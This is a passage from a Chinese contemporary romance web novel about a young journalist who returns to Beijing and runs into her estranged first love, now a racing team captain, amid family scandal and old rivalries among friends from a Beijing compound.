《宁得岁岁吵》 1. 岁岁 《宁得岁岁吵》文/菜紫 晋江文学城独家发表.盗版必究 2025.8.2 - 许岁眠指尖捻着挂号单的边角,老花镜片后,大夫眼皮都没抬。 “多大了?”声音带着点老北京的拖腔。 “二十五。” “婚配了?” “没呢。” “有对象没?”笔尖悬在处方笺上。 “没。”许岁眠答得干脆。 老大夫终于从镜片上沿撩起眼皮,笔杆点了点纸面,像是随口问今儿吃了什么:“那……阴阳调和的事儿,一月几回啊?” 许岁眠下颌线绷紧了一瞬:“大夫,说了,没男朋友。” “哦。”老中医了然,低头,笔走龙蛇,刷刷几笔落下,字迹龙飞凤舞,“知道了。内里失调,弦儿绷得太死。药呢,治标。”他顿了顿,隔着镜片递过来一个意味深长的眼神,“要紧的,得找个合心意的爷们儿,松快松快。” 许岁眠:“……” 东直门医院门口,暑气蒸得柏油路发软。许岁眠刚钻进出租车冷气里,薛晓京的电话就追了过来,声儿脆得像冰镇汽水:“宝儿!怎么样?老爷子金口玉言,给你断明白没?” “还说呢,”许岁眠把包甩到一边,揉着太阳穴,“您家这位‘老神仙’,路子够野的啊。” “扯淡!”薛晓京在那边儿拔高了调门,“那是我爹亲荐的大神!正经伺候过部委首长的中央保健专家!怎么了?不是……不是什么要命的吧?哎呀就算是……”她话赶话地找补,“不怕啊心肝儿,天塌下来姐给你扛!” 许岁眠没好气地道了原委,末了对着手机哼道:“薛大小姐,盼我点儿好成吗?……算了,回头多吃几粒褪黑素对付得了。”自从回国,失眠就跟焊身上似的,连带着大姨妈也闹脾气,素来还算能看的脸,这几天也暗沉得厉害,今早更是惊现一颗嚣张的痘,吓得她连夜抢了薛晓京力荐的专家号。 “啧,褪黑素顶什么用?饮鸩止渴!”薛晓京嗤之以鼻,“要我说啊,老爷子话糙理不糙。你也奔着三张儿去了吧?女人呐,这水灵劲儿……”她话锋一转,来了一句,“甭废话了!晚上‘云顶’,姐给你攒个大的,必须来啊!等着接驾吧您呐!” 薛晓京攒的局,排场从不含糊。灯影迷离,音乐鼓噪,许岁眠刚在卡座里窝定,薛晓京就风风火火地挨着她坐下,纤纤玉指一划拉,指向吧台边站成一排、穿着修身黑衬衣、眉眼精致的年轻男孩儿,斩钉截铁下了命令:“喏,今儿姐姐给你安排的药!甭管看上哪个,必须给我‘睡’服一个!泄泄你这身邪火!” 许岁眠顺着她手指扫过去,一口气差点没提上来。那些男孩儿眼神清澈,脸蛋嫩得能掐出水。她磨了磨后槽牙,声音从牙缝里挤出来:“薛晓京……你当我是什么人?这些弟弟……断奶了吗?” 旁边一个男孩儿听见了,咧嘴一笑,露出一口白牙:“姐姐,我十八!成年啦!” “嘁!”薛晓京翻个白眼,红唇一撇,“听见没?青春无敌!姐姐我今儿也刚满十八!” 正闹着,一个懒洋洋带着戏谑的京腔插了进来:“哟嗬,好大阵仗!听说今儿有富婆包场,搁这儿修炼‘九阴真经’呢?我寻思哪位仙姑这么大手笔,让爷开开眼?” 话音未落,何家瑞那颀长的身影已晃到卡座边,嘴角噙着丝玩味的笑,眼神先在薛晓京身上溜了一圈,“哟,薛老板,排场够大的啊?原来是您在这儿发功呢?” 薛晓京刚要炸毛,角落阴影里却“噗嗤”一声轻笑。何家瑞循声偏头,叼在嘴里的打火机“咔嚓”窜出幽蓝火苗,瞬间照亮了许岁眠半隐在暗处的侧脸。他明显一愣,火苗都忘了点烟,随即咧开嘴,带着点难以置信的痞气:“卧槽?许岁眠?你丫……你丫哪儿蹦出来的!” 许岁眠慢条斯理地端起酒杯抿了一口,抬眼,语气淡得像白水:“何总,都这么大老板了,说话还这么没溜儿?” 薛晓京立刻接腔,毫不客气地拆台:“就他?还大老板?呵,顶多算个……不务正业的‘差不多’先生!” “行行行,”何家瑞浑不在意地痞笑,举手作投降状,“您是客,您说什么就是什么。”他抄起话筒,冲薛晓京和许岁眠一扬下巴,“给‘差不多先生’点首《差不多先生》,本少爷亲自给俩姑奶奶献唱!” 薛晓京和许岁眠对视一眼,乐了。 何家瑞嚎了两嗓子,又张罗着给小男模们续酒,忙活一圈凑回来,亲自给她俩倒上。那股热络劲儿,还跟小时候一个大院儿里疯跑时一样。 许岁眠指尖敲着冰凉的杯壁,记忆碎片不受控地翻涌:记得那时候何家瑞总屁颠颠追着薛晓京屁股后头跑,薛晓京烦他,他偏要凑。那会儿院儿里孩子分两拨,男孩儿一伙儿以谢卓宁马首是瞻,胡作非为;女孩儿一伙儿就她和薛晓京形影不离。两拨人跟乌眼鸡似的,唯一消停时候,是她这“女团头子”不知怎么拿下了“男团老大”谢卓宁,俩人偷偷摸摸搞地下情那阵子,整个大院儿弥漫着一种诡异的和平。 直到……她和谢卓宁分手闹得人尽皆知,彻底掰了。小团体分崩离析。她远走国外,薛晓京看男团里谁都不顺眼,尤其何家瑞,总觉得他是谢卓宁的狗腿子。 “来来,”何家瑞给许岁眠杯子里又怼了点冰块,凑近了,眼神带着探究,“许老板,您这回是……荣归故里?还是短暂探亲?还是……”他拖长了调子,意有所指。 薛晓京抬脚就踹他小腿:“别他妈贫!岁岁学成归来,扎根建设祖国了,不行吗?” “哎哟!姑奶奶!”何家瑞龇牙咧嘴,“我这不是关心老同学嘛!”不死心又问,“现在哪片儿高就啊?” “查户口轮得到你?”薛晓京立刻怼回去,火药味十足。 “嘿!薛晓京你丫吃错药了?天天冲我来劲是吧?”何家瑞也来脾气了。 “就看你不顺眼!谁让你跟谢——”后面“穿一条裤子”硬生生刹住,薛晓京飞快瞥了眼许岁眠,把话咽了回去。 许岁眠脸上那点笑意淡了。 “我去个洗手间。”她放下酒杯起身。 何家瑞下意识喊住她:“哎,去洗手间?东边那个清净点,别去西边那个啊。” 许岁眠颔首,可一出门,看着西边更近的指示牌,脚下还是鬼使神差地拐了过去。 走廊灯光昏昧,两侧包厢鬼哭狼嚎。快到洗手间时,旁边一个虚掩着门的包厢里,猝不及防地撞出一个她刻进骨髓里的熟悉嗓音——低沉,带着点漫不经心的磁性。 许岁眠脚步猛地钉在原地,心脏像是被一只冰冷的手攥紧。她像被施了定身咒,僵硬地回过头,目光死死锁住那道狭窄的门缝。 门缝里光线晦暗,但她清晰地捕捉到一点猩红的火星在黑暗中明灭,映着一个男人低头点烟的冷硬下颌轮廓。仅仅一个模糊的剪影,就让她浑身的血液瞬间逆流,又在下一秒冻结成冰。 心口那根弦,“铮”地一声断了。 她猛地回神,强迫自己扭过头,抬脚继续往前走。 就在这时,一个端着满满一托盘昂贵洋酒的服务员小姑娘,低着头急匆匆从拐角冲出来。 “砰!” “哗啦——!” 托盘脱手,晶莹剔透的酒瓶酒杯砸在光洁如镜的大理石地面上,瞬间粉身碎骨,昂贵的酒液混合着玻璃碴子四处飞溅。 “对不起!对不起!实在对不起!”小姑娘吓得面无人色,带着哭腔连连鞠躬。 许岁眠被撞得晃了一下,稳住身形,看着一地狼藉,皱眉道:“没事,你走吧。”她急着离开,不想纠缠。 “小姐!您不能走!”小姑娘却像抓住救命稻草,带着哭音死死拦住她,“是您…您撞的我…这酒……” “是你撞的我,”许岁眠声音冷下来,“你要我赔?” “是您扭头没看路……”小姑娘急得快哭了,看着一地碎片,声音抖得不成样子,“这、这酒特别贵……” 许岁眠看着小姑娘惶恐无助的样子,想起自己当年打工的艰辛,心软了一瞬。“算了,”她拿出手机,准备扫码,“多少钱?” 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一个穿着妆容精致的女人踩着高跟鞋款款走到门口,穿着剪裁利落小礼裙,双手抱臂,目光落在许岁眠身上,漂亮的眉毛高高挑起,红唇吐出三个字,带着毫不掩饰的惊讶和一丝玩味:“许岁眠?” 那个娇俏小姑娘立刻像找到主心骨,小跑到那女人身边:“西西姐!就是她!把咱们的酒都打碎了!” 门口瞬间安静下来。一群看热闹的公子哥目光在许岁眠和那个叫西西的女人之间来回扫视,最终,所有人的视线,都若有若无地飘向赵西西身后,阴影里一个沉默的高大人影。 许岁眠的心跳得像要从嗓子眼里蹦出来,擂鼓一般撞击着耳膜。她顺着众人的目光,也死死盯向那片阴影。 看不清脸。只有一点猩红的火星,在黑暗中规律地闪烁,如同蛰伏野兽的独眼。 虽然看不清,但那股熟悉的、带着沉沉压迫感的气息,像冰冷的潮水瞬间将她淹没。是他。 阴影里的人沉默着,只是抽烟。空气凝固得让人窒息。 许岁眠深吸一口气,强迫自己移开视线,看向霍然和赵西西,声音干涩却清晰:“我赔。” “你赔?”赵西西轻笑一声,目光从头到脚,仔仔细细地扫过许岁眠身上那套剪裁得体却绝非奢侈品的行头,眼底掠过一丝明晃晃的轻蔑,“十几万呢。”她顿了顿,语气带着点刻意的“关心”,“听说……你家不是……嗯?你留学那会儿,学费都是自己打工挣的吧?这钱,你赔得起吗?” 这话精准地捅向许岁眠最不愿示人的旧伤疤。一股凉意倏地从脊背窜上来,呼吸都滞了半拍。不过她没有退缩,反而迎着赵西西的目光,唇角勾起一抹冷漠的弧度,正要开口—— 阴影里那个一直沉默的男人终于开了口。声音带着点被烟熏过的微哑,冰冷得没有一丝温度,却是对着他身边的赵西西说的: “你不说话,没人把你当哑巴。” 随即,他微微侧头,目光甚至没在许岁眠身上停留半秒,只扫了一眼快吓瘫的服务员,淡淡道:“记我账上。” 说完,指尖猩红的光点骤然掐灭,他利落转身,背影没入包厢深处的黑暗。 “走走走,进去进去,没劲。”霍然赶紧打圆场,推搡着其他人进去。赵西西撇撇嘴,挽着那个娇俏小姑娘也扭身回去了。包厢门“砰”地一声关上,隔绝了所有视线和声音。 走廊里只剩下许岁眠,一地狼藉,和那个惊魂未定的服务员。 冰冷的空气吸入肺腑,许岁眠感觉四肢百骸的血液都凉透了。分手时闹得那样难看,是她理亏,是她划下的一刀两断。她知道再见时,他恨她、怨她,都是理所当然。她甚至准备好了承受他任何怒火和报复。 可没想到,是这种漠视。 连恨意都吝啬给予的漠视。 比任何锋利的言语都更刻骨。仿佛她这个人,连同她的一切,在他眼中都已彻底归于虚无,连憎恶都嫌多余。 2. 岁岁 推开包厢门,热浪裹着烟酒气砸来。 里头已是一派醉生梦死:鼓点震耳,酒瓶滚了满地,小男模敞着腹肌在鬼哭狼嚎。 薛晓京显然喝大了,正跟同样醉醺醺的何家瑞较着劲,两人一人攥着一个酒瓶子对吹,也不知刚才为了什么鸡毛蒜皮的事儿干起来了。 何家瑞瘫在沙发里,眼神发飘,一抬眼看见门口逆光站着的许岁眠,咧着嘴,舌头都大了还招呼:“哎…岁…岁岁!厕所…掉坑里了?来来…快过来…叙…叙叙旧!” 许岁眠脸上没什么表情,径直走过去,高跟鞋尖踢开挡路的空酒瓶,停在何家瑞面前。 她没看旁边还在嚷嚷的薛晓京,目光清凌凌地落在何家瑞醉眼朦胧的脸上,声音清晰地穿透嘈杂: “有钱么?” “钱?什…什么钱?”薛晓京在旁边迷迷瞪瞪地掏手包,“姐…姐姐有!管够!喝…都给我喝!不醉不归!” 许岁眠没理她,依旧盯着何家瑞:“支付宝,转我十万。” 何家瑞像是被她这直白的“打劫”逗乐了,又像是酒精彻底麻痹了神经,嘿嘿一笑,抓起手机就往许岁眠那边一扔,动作豪横又带着醉鬼特有的混不吝:“拿…拿去!密码六个八!随便…随便花!” 许岁眠弯腰捡起手机,指尖在屏幕上快速点了几下,操作完,把手机塞回何家瑞怀里,转身就往外走,多余一个字都没有。 刚拉开门,差点撞上门口倚着的人。 霍然抱臂斜靠在鎏金门框上,指间夹着烟,显然是在等她。见她出来,直起身,扯了扯嘴角:“就知道你跟晓京在一块儿。特意等你呢。” 许岁眠脚步一顿,下意识地朝西边那个包厢的方向飞快瞥了一眼,眼神复杂。 霍然顺着她的目光看去,了然,吸了口烟,吐出个烟圈,语气平淡地补了一句:“甭看了,卓哥刚走,前后脚。” 许岁眠收回视线,脸上看不出什么情绪,只淡淡道:“喝一杯?” “行啊。”霍然掐了烟。 两人上了楼,找了个相对清净的吧台。冷光打在光洁的大理石台面上,映着琳琅的酒瓶。许岁眠没坐,直接掏出手机,屏幕解锁的光映着她没什么血色的脸。 “酒钱,”她把手机转向霍然,“我转你。你替我还给他。” 霍然看着她,忽然乐了,带着点看透一切的玩味:“你们俩啊……”他摇摇头,没往下说,意思尽在不言中。 “刚卓哥走的时候,”霍然身体前倾,手肘撑在吧台上,压低了点声音,“特意交代了,不许收你钱。”他顿了顿,观察着许岁眠的表情,才慢悠悠接着说,“他说……你要实在觉得欠了他的,心里过不去,那钱,你爱捐哪儿捐哪儿,就是别沾他的手。” 许岁眠握着手机的手指微微收紧,指节泛白,脸上依旧没什么波澜,只是垂下了眼睫。 霍然叹了口气,语气多了几分认真:“岁岁,卓哥这话……够绝的。摆明了不想跟你有半点牵扯。毕竟当年……你甩他甩得那么狠,一点余地没留。”他顿了顿,声音更低了些,“他是真恨你。圈子里都传遍了。你也看见了,刚才包厢门口,赵西西那帮人……还有卓哥对你那态度。说真的,你在国外待着不挺好?回来干嘛?这地界儿,对你……不友好。” 他话锋一转,带了点自己人的意思:“不过既然回来了,有难处,私下里找我。手机号存着,别客气。”他报出一串号码。 霍然说完,看着许岁眠低垂的侧脸,等着她的反应。 许岁眠终于抬起头,直直看向霍然,嘴角扯了一下:“你帮我?你不怕他?” 霍然被她这眼神看得一愣,随即像是想起了什么,自嘲地笑了笑:“啧,还记得高二那年吗?小爷我鼓起勇气跟你表白,你说不喜欢我,就喜欢谢卓宁。我不死心啊,问你为啥,你丫怎么答的来着?” 许岁眠面无表情:“忘了。” “哈!”霍然一拍大腿,像是被戳中了陈年旧伤疤,“你说:‘因为你爸没他爸官大!’”他夸张地做了个捂心口的动作,“操!你丫这句话,害得小爷我整个青春期都笼罩在‘官二代鄙视链’的阴影里,自卑得不行!” 他往前凑了凑,带着点如今“翻身农奴”的得意劲儿,压低声音:“不过现在嘛……我爸,官儿也不小了。”他扬了扬下巴,带着点重新找回的底气,“这不,又有点自信敢跟你说话了么?” 许岁眠静静听完,脸上那丝嘲讽的笑意似乎更深了。她没接话,只是端起吧台上霍然刚给她点的酒,仰头一饮而尽。冰凉的液体滑过喉咙。她放下空杯,玻璃杯底磕在台面上,发出清脆的一声响。 然后,她抬眼,目光平静无波地落在霍然那张带着点邀功和试探的脸上,红唇轻启,只问了两个字: “多大?” “啊?”霍然一时没反应过来,愣住。 没等他琢磨明白这俩字是问官儿还是问别的,许岁眠已经干脆利落地从高脚凳上起身。黑色裙摆划过一个利落的弧度,她转身就走,高跟鞋声清脆决绝,背影挺直,拒人千里的冷傲,连一丝多余的眼风都没再留给他。 …… 从“云顶”出来,热烘烘的夜风一下子糊在脸上。许岁眠有点踉跄地拦了辆出租,拉开车门把自己塞进后座,重重靠进椅背。车窗玻璃映出她没什么血色的脸,外面那些闪个不停的霓虹灯晃得人眼晕。 混乱的思绪不受控地翻涌,乱七八糟地往脑子里钻,一下子就把她拽回了七年前,那个一样闷得喘不过气的夏天尾巴。 西山脚下,岗哨森严、爬满苍翠常青藤的深宅大院。谢家那栋标志性的红墙小楼后,几棵大梧桐树,叶子密密匝匝的,投下浓重的阴影。蝉鸣聒噪得让人心烦意乱。 手腕被一股巨大的力道死死攥住,骨头都仿佛要被捏碎。许岁眠被迫抵在冰凉粗糙的红砖墙上,后背硌得生疼。 谢卓宁就站在她面前,距离近得能感受到他胸膛剧烈的起伏和喷薄而出的灼热怒意。他另一只手里,死死捏着的,是那份刚从她包里翻出来的,印着烫金英文的录取通知书。 昏暗中,谢卓宁那双总是锐利沉静的眼眸此刻赤红一片,像濒临爆发的火山口,死死攫住她,声音是从牙缝里挤出来的,带着难以置信的暴怒和一种被彻底愚弄的冰冷: “许岁眠,你丫真他妈牛逼!” 他抖了抖手里那张纸,哗啦哗啦响。 “通知书都下来了!屁都不放一个?是不是打算等你丫坐上飞机了,才想起来跟老子说声‘拜拜’?!” 那会儿刚九月头,院里各家小孩儿的升学酒都喝得差不多了。薛晓京去了政法,谢卓宁上了北航,杨知非保送北大,赵西西保送北外……一群从小玩到大的发小,约好了都在家门口念书,互相照应。只有许岁眠,通知书一直没影儿,大家都纳闷儿,她成绩又不差,北京的大学也该有信儿了啊。 结果呢,就在谢卓宁家给他办的升学宴上,觥筹交错间,赵西西那个唯恐天下不乱的,竟当着一众长辈和发小的面,从她放在座位上的包里,“无意”翻出了这份来自大洋彼岸的惊喜。 大人那桌还在推杯换盏,小孩儿这桌瞬间死寂。所有的目光,惊愕的、探究的、幸灾乐祸的,齐刷刷地,像聚光灯一样打在了谢卓宁骤然阴沉的脸上。 下一秒,手腕就被他铁钳般的手抓住,不容分说地拽离了喧闹的宴席,拖到了这无人僻静的后墙根。 许岁眠背靠着冰凉的砖墙,夜风吹得她额前的头发乱飘。她没动,也没说话,就那么看着他,脸上一点表情都没有。可这副样子,在谢卓宁眼里,简直比打他一巴掌还难受。 “说话啊!”谢卓宁被她这闷葫芦样彻底点着了,吼了一声,扬手就把那通知书狠狠摔在她脸上!纸边儿刮过脸,火辣辣地疼了一下。 “许岁眠!你他妈哑巴了?!” 他胸膛剧烈起伏 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“大不了……老子两年后也出去,找你。” “不吵了,我也不气了。” 他停下脚步,伸手想拉她胳膊,眼神里是小心翼翼的试探: “和好,成吗?” 那些天,许岁眠心里无比煎熬,看着他眼睛里熬出来的红血丝,看着他明明难受还硬装没事儿的样子,话到了嘴边,又让她硬生生咽回去了。 然而,他最终等来的,不是她的解释,不是她的妥协,而是漫长冷战后的又一次相对。在不久后的某个同样燥热的黄昏,在老槐树下,许岁眠抬起头,迎着他等待已久,几乎快要熄灭希冀的目光,红唇轻启,声音清晰、冰冷,没有一丝波澜: “谢卓宁,” 她顿了顿,像是在给他最后一点缓冲的时间,又像是在积蓄那足以摧毁一切的冰冷力量。 “分手吧。” “我腻了。” 三个字,像刀子一样,一下子捅进谢卓宁心窝里。他脸上的血色瞬间褪尽,刚才那点试探,那点妥协,还有压着的火气,全部僵在了那里,碎了一地。他死死盯着她,像不认识她这个人了。 许岁眠硬逼着自己迎上他那碎了的眼神,接着往他心口上捅刀子,也往自己心口上捅,声音里还带上了点赵西西那调调: “赵西西那天翻包,不是都告诉你了么?” “我一开始接近你,” “不就是因为你爷爷么?” “不就是图你们谢家这棵大树,能罩着我们许家么?” 看着他脸变得煞白,布满血丝的眼睛都定住了,她心里像是在滴血,脸上却挤出个艳丽薄凉的笑。 “所以啊,” “我爸现在提了,” 她轻轻巧巧地吐出这句话,仿佛在说一件与己无关的小事。 “用不着你了。” “不甩你,留着过年?” 死寂。 长久的,令人窒息的死寂。 谢卓宁的身体几不可察地晃了一下,像是站不稳了。他眼睛里最后那点光,彻底灭了,只剩下黑沉沉一片,像是整个人都被碾碎了。 他忽然低低地笑了起来,笑声嘶哑,破碎,带着无尽的自嘲和悲凉,在寂静的黄昏里显得格外刺耳。 “呵呵……” 他止住笑,再抬眼时,那双曾经盛满星辰的眼眸,此刻只剩下淬骨的恨意,和一种彻底的了然。 “许岁眠,” 他声音很轻,却像淬了毒的刀子,每一个字都刮在骨头上。 “你丫……” “真他妈……没有心。” 出租车在路口转弯,灯光突然明亮起来。许岁眠摸了摸脸颊,才发现不知何时已经湿了一片。后视镜里司机正透过后视镜看她,她慌忙低头,付了钱后跑下了出租。 3. 岁岁 三伏天的北京,太阳像个火球悬在天上。许岁眠睁开眼的时候,工作群里已经刷屏了——八点半开选题会。 又是一夜乱梦,根本没睡踏实。看着镜子里浓重的黑眼圈,她叹了口气,飞快地洗脸洗头,对着镜子胡乱抹了点遮瑕。眼看要迟到,头发也没顾上梳,架着个大黑框眼镜就冲出门打车。 紧赶慢赶,八点半整冲进了大楼。 报社会议室里,选题一个接一个报。轮到体育组时,组长的声音提高了几分:“最近AR赛车俱乐部那个谢卓宁,你们知道吧?就前几天在金港赛车场,开着自己改装的保时捷911,把那些职业车手都给干趴下了!” 会议室里顿时响起一阵议论声。有人翻出手机视频,画面里,赛车在弯道上擦出火星子,解说员激动得声音都变了调。“赛前法拉利车手还笑话他,结果人家最后一圈电池满充,直道上尾速冲到330,直接破了赛道纪录!” 这热度,谁不想蹭?赛后多少媒体想采访这位谢队长,可全被挡了回来,连总台体育频道都吃了闭门羹,更别说她们《先锋报》这种小庙了。大热天的,体育组派出去的小姑娘们,好几个差点晒中暑,连俱乐部大门都没进去。 可流量就在眼前,谁肯放弃?这块硬骨头暂时没人啃得动,今天又被提上会。主编目光扫了一圈,最后停在许岁眠身上。“小许,这个你跟一下。”许岁眠手一抖,笔记本差点掉地上。上周她才从民生组调过来,新人嘛,这种难啃的骨头自然落她头上。 散会后,辛悦凑过来,神神秘秘地压低声音:“你知道吗?这位爷,根儿正苗红,是个真·三代。” “他爸、他爷爷……所以啊,媒体?想近身?门儿都没有!”辛悦拍拍她肩膀,一脸同情,“咱们组前仆后继多少炮灰了?肥老炮把这烫手山芋丢给你,摆明了是完不成的任务,就是报复你上次举报他那事儿呢!” “肥老炮”是报社里姑娘们给郝德柱起的外号,又胖又横,规矩多得离谱,还爱对报社里漂亮姑娘动手动脚。许岁眠刚入职那会儿,就被他堵着问“下班后海喝一杯?”,结果她眼都没抬,反手就捅到了总编那儿。虽然后来总编只是不痛不痒批评了几句,但这梁子算结下了,郝德柱逮着机会就给她穿小鞋。 辛悦好心劝:“要我说,你随便找个咖啡馆猫几天,写个稿子交差得了,反正结果都一样,何必去受那个罪。” 许岁眠没说话,盯着电脑屏幕上谢卓宁的资料。照片里的男人戴着头盔,只露出一双锐利的眼睛。她的手指无意识地摩挲着鼠标,直到发现队医名单里出现了一个熟悉的名字:温言。 许岁眠盯着屏幕愣了一下。 过了一会儿,她起身去了卫生间,拨通薛晓京电话:“帮我打听个事儿。” “说!”薛晓京还是一贯的豪爽。 “谢卓宁最近一次训练的时间和地点,要具体的。” 他们这种顶级的私人车队的训练场,要么在京郊的山里,要么在某个不为人知的封闭路段,甚至半夜溜进机场跑道测极速都有可能,没点特殊渠道打听,普通媒体想都别想。 电话那头,薛晓京“啪”地一拍桌子:“我靠!许岁眠你丫不是想旧情复燃吧?我可告诉你,好马不吃回头草!你看看他身边那帮人现在对你什么态度?你要敢复合,你就是……” “别激动别激动,”许岁眠赶紧打断,“薛大小姐,您现在也是有身份的人了,在哪儿高就来着?公检法吧?注意点形象行不行?”末了补充,“我找他纯工作,我们主编把他采访塞给我了。” “用毛爷爷发誓?” “发誓!” “行吧,我去问问何家瑞。” “别说是我打听的啊!” “大姐!你到时候采访难道蒙面去啊?” “也不是不行。” “丢不起那人!” 挂了电话,薛晓京琢磨了一下,短信又追过来:“要我说,你就该趁着采访把丫睡了!看他以后还敢跟你摆谱不!顺便治治你那‘病’。” 提到“病”,许岁眠就心烦。上次那个“老神仙”开的中药喝了也没用,失眠照旧。再加上她自己还吃着点镇定的西药,感觉身体里像有两股气在打架,走几步路就虚得不行,得停下来歇会儿。 回到工位前,许岁眠看着屏幕上“温言”那两个字,心里有点不是滋味。顺手百度了一下,还真有词条,现在在一家挺有名的私立医院实习。她撇撇嘴:“就那臭丫头还能考上医科大?”扒拉扒拉简历,果然,也是个“留子”。 后来跟薛晓京碰面,不知道怎么聊到了温言。“还记得以前大院儿老追着咱们打、告刁状那个死丫头吗?” “温家那小烦人精?一天到晚‘卓宁哥长、卓宁哥短’,整个一谢卓宁脑残粉!” “可不是么,现在摇身一变成医生了,还挂名在谢卓宁车队当队医呢。”许岁眠心里有点酸溜溜的,觉得谢卓宁是真惯着她,可把全队人的命交给她?也太儿戏了。 那天午后小酌,许岁眠喝了点酒,胃里烧得慌,嘴上也没了把门的:“嘿,我现在倒挺佩服何家瑞。自己创业开买卖,虽说搞得有点灰不溜秋吧,但人家至少没祸害咱老百姓啊!再看看你们这帮‘小姐少爷’毕业都干啥?你薛晓京,混进咱们光荣的公检法队伍,算不算‘合法伤害’人民?那臭丫头,会摸个脉就敢当医生,还是咱首都顶级的私立医院!”许岁眠啧啧摇头,抿了口酒,愈发觉得自己是棵可怜的小草。 薛晓京晕乎乎地点点头,过了一会儿才反应过来,一拍桌子:“放屁!姑奶奶我政法大学正经毕业,根正苗红,我祸害谁了?” “息怒息怒。”许岁眠赶紧赔笑。 这一天还是没谢卓宁的消息。薛晓京给何家瑞下了死命令:“明天再没信儿,你丫等着!” 谢卓宁确实神出鬼没,今天可能在昌平跑山,明天又去了怀柔拉练。何家瑞想打听他,也得拐弯抹角找霍然。除了知道他的俱乐部在顺义一个工业园区里,其他一概不知。网上关于车队的信息也少得可怜,不是不火,毕竟也是年年进国际赛的,是真低调,赢了也从不接受采访,最近一次公开露面就是前一阵单人赛夺冠。 小聚结束,薛晓京叫了代驾回单位加班,用她的话说:“妈的,朝九晚五,就是个孙子!” 许岁眠工作自由些,这会儿头晕乎乎地站在路边等车。手机响了,是家里的小阿姨。 “岁岁,今天回家吃饭吧?” 许岁眠看了眼日历,今天杜蕙心生日。她没吭声,站在公交站台,阳光晒得凉鞋发烫,听着电话里小阿姨小心翼翼地劝:“回来吧岁岁,这么多年了,跟妈妈能有多大仇?家里……现在也就剩太太一个人了。她知道你回国了,一直盼着你呢……” 挂了电话,烈日下,那些最痛苦的回忆又翻涌上来——高考前和杜蕙心那场大吵,她赌气改了志愿,决定申请国外的大学,发誓永远离开这个家。哪怕付出再大的代价,也要切断和这里的一切联系。 大二那年,她是在网上看到许明远被调查的消息,家里一夜之间倒了。那时候她心冷得像块冰,只觉得和自己没关系——早就断绝关系了。留学的钱是自己攒的和打工挣的。她换了所有联系方式,国内的朋友只留了薛晓京一个。晓京发信息说:“这边炸锅了,你爸这回悬,你妈也……你走得实在太是时候了……”虽然法律上子女不直接承担父母的经济犯罪责任,但她要是还在国内,光唾沫星子就能淹死她。 后来警方联系她提供经济独立证明,她照做了。再后来她在新闻上看到许明远被判了二十年,挺重。杜蕙心没事。有一次薛晓京在什么沙龙碰见她妈,状态不错,给她发消息,还嘴欠地开了句玩笑——“这人到中年呐,害得是发财死老公爽啊!”许岁眠也是后来才知道,许明远出事前就和杜蕙心离了婚,俩人不知道怎么鼓捣的财产,总之这两年杜蕙心过的还行。 不过这些她都不知道,也不想知道。 许岁眠最后还是回去了。自从她爸进去后房子被国家收回,杜蕙心就从大院搬了出来,现在住在朝阳区一个中档小别墅里。当年家里被抄得差不多了,也不知道她是怎么咬牙维持着这种体面的生活。 小阿姨很高兴,忙前忙后。客厅茶几上摆着小蛋糕,插着水灵灵的花。地板光可鉴人。许岁眠换了拖鞋,把包放下。 杜蕙心盖着薄毯躺在空调风口下看手机,听见动静回头瞥了一眼:“回来了?” “嗯。”许岁眠看了眼空调温度,走过去调高了几度——不是为杜蕙心,是她自己现在吃中药身子虚,受不了这么吹。 “去看你爸了吗?”杜蕙心哪壶不开提哪壶。 “没。他进去是自作自受,官当大了忘了本。他干了什么缺德事我不知道,知道了我也得举报。”许岁眠声音没什么起伏。 “死丫头心还是这么硬!他说得没错,就没你这个女儿!” “那当然,你们不是有宝贝儿子吗?有他一个就够了。”许岁眠语气里带着刺,像是戳到了什么痛处。气氛一下子僵了。杜蕙心沉着脸从沙发上起来:“吃饭吧。” 小阿姨默默地把菜端上桌。 饭吃得沉闷。吃到一半,小阿姨“哎呀”一声:“瞧我这记性,蛋糕还没点蜡烛呢!”她故意把打火机塞给许岁眠。杜蕙心看着她。许岁眠犹豫了一下,刚拿起打火机,手机屏幕亮了。 薛晓京的信息蹦出来: “卧槽!我没眼花吧?我在格兰看见你家那大孝子了!他不是在加拿大吗???” 下面跟着一张偷拍的照片。灯红酒绿的背景里,许屹骁一头扎眼的奶奶灰寸头,戴着耳环鼻钉,露着胳膊上的纹身,高大痞气,搂着个衣着清凉的美女。照片有点糊,但那股张扬跋扈的劲儿扑面而来。 紧接着又一段小视频,画面晃动模糊,能看到许屹骁掐了烟,醉醺醺地搂着美女坐进一辆拉法的副驾,然后车子轰鸣着冲出去,看方向是奔长安街。 “宝儿,我真替你憋屈。你家那点破事,好像就毁了你一个人……对你弟和你妈,屁影响没有!” 许岁眠手指不自觉地发抖,努力平静下来,放大视频扫了眼车牌号和模糊的路牌标识。她扣上手机,看向杜蕙心:“他也回来了?” 杜蕙心脸上闪过一丝慌乱,强装镇定:“哦…回来一阵了。没告诉你,怕你知道就不来看我了…你们毕竟是亲姐弟,能有什么深仇大恨呢?一家人……” 许岁眠眼眶瞬间红了,摇摇头,抓起手机起身就走。 杜蕙心愣住了。小阿姨赶紧追到玄关拦:“岁岁,来都来了,吃了饭再走吧?一会儿少爷也回来了,今天好不容易……” 许岁眠穿鞋的动作一顿,猛地抬起头,眼神里的失望再也藏不住,最后只化作一声冷笑,什么也没说,拉开门 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中午出门时太阳毒得晃眼。赛车场门口站着个黄卷毛小子,十七八岁,叼着冰棍儿靠在铁栅栏上。听见“采访”俩字,赶紧把冰棍儿往地上一扔,抹着嘴笑:“您稍等啊,我进去喊人。”带着点河北口音,不像北京孩子。 许岁眠隔着栅栏打量里头:灰扑扑的厂房改造成维修区,赛道沿着山势蜿蜒,几辆法拉利488 GT3停在发车区,胎温还没降下去。远处传来引擎轰鸣,几个戴头盔的车手正在刷圈速,规模比锐思赛车场还大上三分。 卷毛小子蹭蹭跑回来,挠着后脑勺直赔笑:“对不住啊姐,老大说今儿不见客。” “其实老大今儿忙得脚不沾地,正招待金主爸爸呢。”他伸手指了指山脚下的独栋小楼,“就那玻璃房里,广告商大爷们可难伺候了。” 许岁眠抬眼望去,二楼落地玻璃映着白晃晃的日头,什么也瞧不清。她拢了拢遮阳帽:“我能去看台上坐坐么?” “您随意!就是晒得慌,您受得了就行。”卷毛忽然一拍脑门,“瞧我这记性!我叫于小帅,您要有事儿招呼一声,我就在维修区猫着。” 她挑了处阴凉坐定,目光却不由自主往小楼飘。于小帅刚钻进维修区,就被几个技工围住起哄:“哪儿来的盘儿亮条顺的妞?” 